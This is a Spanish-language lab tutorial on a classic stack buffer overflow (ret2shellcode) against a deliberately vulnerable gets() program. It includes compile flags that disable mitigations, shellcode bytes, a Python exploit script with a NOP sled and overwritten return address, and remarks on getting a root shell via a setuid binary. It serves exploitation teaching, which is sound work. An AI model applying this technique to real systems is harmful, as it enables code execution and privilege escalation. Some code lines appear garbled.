ATAQUE RET2SHELLCODE

Ataque Smash the Stack con redirección de Flujo

Análisis del programa vulnerable

Stack 5

        #include 

        int main() {
                int cookie;
                char buf[80];

                printf("buf: %08x cookie: %08x\n", &buf, &cookie);
                gets(buf);

                if (cookie == 0x000d0a00)
                        printf("you loose!\n");
        }

¿Qué hace el programa?

El programa es idéntico al de stack4, pero se imprime un mensaje diferente.

Solución anterior: aprovechar mensaje existente

No es de utilidad usar la misma estrategia que en el exploit del stack4, dado que si logramos saltear la evaluación condicional, el mensaje que logramos imprimir no es el deseado.

user@abos:~$ python exploit.py | ./stack5
buf: bffff5b4 cookie: bffff604
==> you loose!

¿Cuál es la dificultad principal?

¡Ya no podemos saltar al mensaje ganador! El mensaje ganador a imprimir ya no es parte del programa vulnerable. Una opción entonces es crear un propio programa que imprima el mensaje ganador: nuestro shellcode.

Ataque “Smash the stack” con inyección de código

Necesitamos imprimir un mensaje ganador que no está en el programa vulnerable. Si bien es posible pensar diferentes ataques para lograr imprimir el string deseado, es una buena excusa para planificar una estrategia de inyección de código.

La inyección de código malicioso en la pila y su posterior ejecución conforman una técnica clásica para explotar programas vulnerables que es necesario conocer aunque su utilización no sea tan simple en escenarios actuales. Es por ello que aún es necesario deshabilitar artificialmente las mitigaciones que impiden ejecución de código en la pila (X^W) y la aleatoriedad en las direcciones de memoria.

La estrategia de ataque involucra crear un programa o shellcode que imprima por salida estándar el mensaje ganador, inyectarlo en la pila y ejecutarlo.

Layout de la pila deseado:

La instrucción NOP (no operation) hace exactamente lo que parece: nada. Esto la hace muy útil para los exploits que utilizan shellcode ya que al encontrar un NOP la ejecución pasará a la siguiente instrucción. De esta manera, si colocamos un "tobogán" de NOPs antes de nuestro shellcode y apuntamos la dirección de retorno dentro de éste tobogán, la ejecución continuará hasta llegar a la primera instrucción de nuestro shellcode.

Esto nos da un margen de error de unos bytes a la hora de redireccionar el flujo pues la única diferencia es que se ejecutarán más o menos NOPs, deslizandose el EIP por ellos hasta llegar al Shellcode.

En lenguaje ensamblador (Intel x86), el NOP se representa como \x90.

En buf ya no va a ir basura sino el shellcode antecedido por varios NOPs. Aprovechamos gets() para copiar los NOPs y el shellcode como string en la pila en buf y sobreescribirmos la dirección de retorno para que apunte a los NOPs de buf.

  • Programamos el shellcode Nuestro shellcode es un programa simple creado en assembler que con una llamada al sistema imprime “you win!” por salida estándar. Podemos aprender a hacerlo en el artículo sobre shellcodes.

    shellcode  = "\xeb\x16\x31\xc0\x59\x88\x41\x08\xb0\x04\x31\xdb\x43"
    shellcode += "\x31\xd2\xb2\x09\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe5"
    shellcode += "\xff\xff\xff\x79\x6f\x75\x20\x77\x69\x6e\x21\x41"            
  • Averiguamos dirección de buf en la pila ejecutando el programa vulnerable

    user@abos:~$ gcc -m32 -no-pie -fno-stack-protector -ggdb 
    -mpreferred-stack-boundary=2 -z execstack -o stack5 stack5.c
       
    user@abos:~$ ./stack5
    buf: bffff5b4 cookie: bffff604
  • Planificamos el overflow por entrada estándar, considerando el formato little endian:

  • Armamos un archivo en Python para ingresar el input

       
    #! /usr/bin/env python
    """Uso: ./exploit.py | ./stack5 """
       
    import sys
    from struct import pack
       
    #shellcode, imprime you win!
    shellcode  = "\xeb\x16\x31\xc0\x59\x88\x41\x08\xb0\x04\x31\xdb\x43"
    shellcode += "\x31\xd2\xb2\x09\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe5"
    shellcode += "\xff\xff\xff\x79\x6f\x75\x20\x77\x69\x6e\x21\x41" 
                   
    ret_addr = 0xbffff5b4                           #addr de buf
       
    exploit  = "\x90" * 20                          #nops iniciales buf
    exploit += shellcode                            #shellcode
    exploit += "A" * (80-20-len(shellcode))         #padding hasta fin de buf
    exploit += "BBBB"                               #lleno cookie
    exploit += "CCCC"                               #lleno ebp
    exploit += pack(", ret_addr)                 #defino return address
       
    sys.stdout.write(exploit)    
  • Ejecutamos el exploit

    user@abos:~$ ./exploit.py | ./stack5
    buf: bffff5b4 cookie: bffff604
    you win!

    Gráficamente logramos el siguiente resultado:

Es interesante tener en cuenta que el shellcode utilizado realiza un syscall write para imprimir el mensaje y luego un syscall exit para finalizar el proceso exitosamente. A diferencia de lo que sucedía en el stack4 (ejercicio en el que la destrucción del layout de la pila provocaba una violación de segmento), en este caso por el modo en que fue construido el shellcode el programa finaliza sin errores.

Lograr privilegios de root

En escenarios reales el objetivo no será imprimir un mensaje ganador sino lograr privilegios de root para exponer archivos e información privada, manipular logs, etc. Existen varias estrategias para lograr una shell con privilegios de root o directamente para escalar privilegios a partir de una shell, que exceden el objetivo de esta guía en este punto. Por ejemplo en un escenario en el que se ataca un binario compilado con setuid root, si se logra que el programa vulnerable realice una syscall execve y ejecute una shell con execve("/bin/sh") ésta será una root shell. Es por ello que en la compilación del binario ejecutable modificamos los permisos de la siguiente manera:

user@abos:~$ gcc -m32 -no-pie -fno-stack-protector -ggdb 
-mpreferred-stack-boundary=2 -z execstack -o abo abo.c
user@abos:~$ sudo chown root ./abo; sudo chmod u+s ./abo  ; root owner & setuid
user@abos:~$ ls -la
-rwsr-xr-x  1 root   user XXXX Jan 01 00:00 abo

Última actualización